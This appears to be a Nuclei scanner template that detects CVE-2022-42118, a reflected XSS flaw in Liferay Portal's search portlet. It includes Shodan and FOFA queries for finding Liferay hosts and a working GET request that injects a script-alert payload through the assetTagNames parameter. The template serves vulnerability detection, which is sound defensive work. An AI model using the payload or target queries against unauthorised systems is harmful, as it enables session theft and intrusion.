CVE-2022-42118: Liferay Portal - Cross-site Scripting

id: CVE-2022-42118

info:
  name: Liferay Portal - Cross-site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    A Cross-site scripting (XSS) vulnerability in the Portal Search module in Liferay Portal 7.1.0 through 7.4.2, and Liferay DXP 7.1 before fix pack 27, 7.2 before fix pack 15, and 7.3 before service pack 3 allows remote attackers to inject arbitrary web script or HTML via the `tag` parameter.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through the tag parameter in the Portal Search module to steal Liferay Portal user session cookies and credentials.
  remediation: |
    Update to Liferay Portal 7.4.3+, DXP 7.1 fix pack 27+, DXP 7.2 fix pack 15+, or DXP 7.3 service pack 3+.
  reference:
    - https://issues.liferay.com/browse/LPE-17342
    - https://portal.liferay.dev/learn/security/known-vulnerabilities/-/asset_publisher/HbL5mxmVrnXW/content/cve-2022-42118
    - https://nvd.nist.gov/vuln/detail/CVE-2022-42118
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-42118
    cwe-id: CWE-79
    epss-score: 0.00966
    epss-percentile: 0.60003
    cpe: cpe:2.3:a:liferay:liferay_portal:*:*:*:*:*:*:*:*
  metadata:
    vendor: liferay
    product: liferay_portal
    shodan-query: html:"var Liferay"
    fofa-query: body="var Liferay"
  tags: cve,cve2022,liferay,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/web/guest/home?p_p_id=com_liferay_portal_search_web_portlet_SearchPortlet&p_p_lifecycle=0&_com_liferay_portal_search_web_portlet_SearchPortlet_keywords=test&_com_liferay_portal_search_web_portlet_SearchPortlet_scope=this-site&_com_liferay_portal_search_web_portlet_SearchPortlet_assetTagNames=<script>alert(document.domain)</script>"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - "text/html"
          - "Liferay Portal"
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a004830460221009f52929aa875e7d372ca12b3342a38248a6179b933486e700273385e69f51ece022100d1cb6139e98c6479406b1bf641beabbc9bc9981a0a2e4940d6b99fcdd67cfc57:922c64590222798bb761d5b6d8e72950

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